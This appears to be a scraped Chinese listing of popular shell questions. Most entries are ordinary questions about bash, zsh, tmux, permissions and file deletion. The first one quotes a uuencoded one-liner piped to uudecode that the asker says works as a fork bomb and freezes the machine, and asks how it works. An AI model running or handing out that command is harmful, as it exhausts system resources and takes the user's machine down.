标签: shell

这串文本如何以及为什么是一个分叉炸弹?

在随机 chan 板上找到:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Run Code Online (Sandbox Code Playgroud)

以某种方式运行这会导致无限生成过程,该过程猖獗并使机器停止。我看到一些关于“su”的东西试图被多次执行。

..这很奇怪,因为我只希望输出文本,而不是执行任何内容。

通过在线解码器运行此文本只会给我一批二进制输出:

解码结果

这些乱七八糟的文字究竟在做什么,有没有办法“安全”地查看它?

encoding shell malware forking

145
推荐指数
3
解决办法
2万
查看次数

循环遍历`ls`导致bash shell脚本

有没有人有一个模板 shell 脚本来ls为目录名称列表做一些事情并遍历每个目录并做一些事情?

我打算做ls -1d */以获取目录名称列表。

bash shell shell-script

130
推荐指数
4
解决办法
41万
查看次数

如何更改 AWS 实例上的默认 shell?

我想在我的 Amazon EC2 实例上将我的 shell 从默认的 bash shell 更改为 zsh。我该怎么做?谢谢!

shell amazon-ec2

128
推荐指数
4
解决办法
13万
查看次数

`-rw-r--r--`末尾的点是什么意思?你如何用`chmod`设置它?

我在 Linux 下的目录中的一些文件在.权限列表的末尾有一个。

  • 结尾的点是什么意思-rw-r--r--
  • 你如何设置它chmod

linux shell permissions selinux

123
推荐指数
5
解决办法
14万
查看次数

无需询问即可删除文件

如何在不询问用户是否同意删除文件的情况下删除文件?我正在编写 shell 脚本并使用 rm 函数,但它询问“删除常规文件?” 我真的不需要这个。

linux shell

123
推荐指数
7
解决办法
36万
查看次数

如何从命令行进行递归查找和替换?

使用像 bash 或 zshell 这样的 shell,如何进行递归的“查找和替换”?换句话说,我想在这个目录及其子目录中的所有文件中用 'bar' 替换每次出现的 'foo'。

bash zsh shell find-and-replace

120
推荐指数
4
解决办法
16万
查看次数

计算文件中每个字符的数量的最快方法是什么?

我想计算文件中的 A 的 T 的 C 的 G 的 N 和“-”字符,或者每个字母(如果需要),是否有快速的 Unix 命令来执行此操作?

unix shell characters command-line

120
推荐指数
10
解决办法
2万
查看次数

Byobu vs. GNU Screen vs. tmux——技能的实用性和可转移性

到目前为止,我已经使用Konsole来管理多个 shell 会话,但我还没有尝试过ByobuGNU Screentmux,它们为多个 shell 提供了更好的支持。它们都共享一个主要功能,即允许分离当前会话并稍后重新附加到该旧会话。

为了帮助我选择学习工具,我想知道:它们在以下方面有何不同?

  1. 特点(显然)
  2. 项目成熟度。我不想学习变化太大的工具。欢迎增强功能,但我不喜欢功能消失等惊喜。
  3. 学习曲线
  4. 在不同平台上的可用性。如果我学习了一个工具,我希望能够在 FreeBSD 服务器、SuSE 桌面或 Ubuntu 上使用它。
  5. 与其他交互式 shell 程序的兼容性。我还能像以前一样使用vimemacs -nw(非窗口模式或文本模式)吗?键盘快捷键会与其他工具的快捷键冲突吗?

我刚刚尝试了所有这些,Byobu 看起来像是 GNU Screen 和 tmux 的一种前端。那么为什么有人创建了 Byobu 而不是为 GNU screen 项目做出贡献并添加新功能?为什么 GNU Screen 中的 Byobu 不是某种高级界面模式?如果我使用 Byobu 作为我的日常工具,以 GNU screen 作为后端,如果某台机器只有 GNU Screen,我是否可以将这些知识转移到没有 Byobu 的情况下使用 GNU Screen?

shell gnu-screen tmux byobu

118
推荐指数
4
解决办法
8万
查看次数

在 Windows cmd.exe 的同一命令行中设置和使用变量

在 Bash 中,我可以EDITOR=vim command并且command将使用EDITORset to运行vim,但这不会影响EDITORshell 本身中的值。是否有可能做到这一点cmd.exe

windows shell command-line

115
推荐指数
5
解决办法
11万
查看次数

删除所有子目录中的匹配文件

如何在 Linux 下删除所有子目录中的所有 .swp 文件?

linux shell find

103
推荐指数
3
解决办法
17万
查看次数